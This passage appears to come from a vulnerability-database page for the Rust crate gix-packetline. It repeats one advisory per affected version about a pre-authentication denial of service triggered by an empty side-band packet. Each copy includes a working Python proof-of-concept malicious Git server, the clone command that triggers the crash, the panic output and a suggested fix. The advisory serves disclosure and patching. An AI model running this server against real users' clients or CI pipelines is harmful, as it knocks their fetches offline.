finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 15, 2025

0.19.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 26, 2025

0.18.5 unknown yanked

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 25, 2025

0.18.4 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 04, 2025

0.18.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 18, 2025

0.18.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 22, 2024

0.18.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 24, 2024

0.18.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 22, 2024

0.17.6 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 22, 2024

0.17.5 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 22, 2024

0.17.4 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

